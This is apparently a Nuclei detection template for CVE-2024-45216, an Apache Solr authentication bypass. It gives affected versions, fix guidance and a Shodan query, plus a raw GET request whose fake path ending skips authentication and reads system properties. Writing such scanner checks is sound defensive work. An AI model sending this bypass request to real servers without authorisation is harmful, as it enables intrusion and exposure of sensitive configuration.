CVE-2024-45216: Apache Solr - Authentication Bypass

id: CVE-2024-45216

info:
  name: Apache Solr - Authentication Bypass
  author: gumgum
  severity: critical
  description: |
    Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
  impact: |
    Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
  reference:
    - https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45216
    - https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45216
    cwe-id: CWE-863,CWE-287
    epss-score: 0.93955
    epss-percentile: 0.99877
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Apache Solr"
  tags: cve,cve2024,apache,solr,auth-bypass

http:
  - raw:
      - |
        GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
        Host: {{Hostname}}
        SolrAuth: {{to_lower(rand_text_alpha(5))}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "responseHeader"
          - "system.properties"
          - "solr.script"
          - "solr.solr.home"
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022016c351bd3b2954fbe145007ebd0c8d8392e6f4ac27d599fff34d546a95853b69022100db8c9dd02bb94f5277387a23a99c42a420789fa2e5e06d54dfa7e3e18ad0b8f5:922c64590222798bb761d5b6d8e72950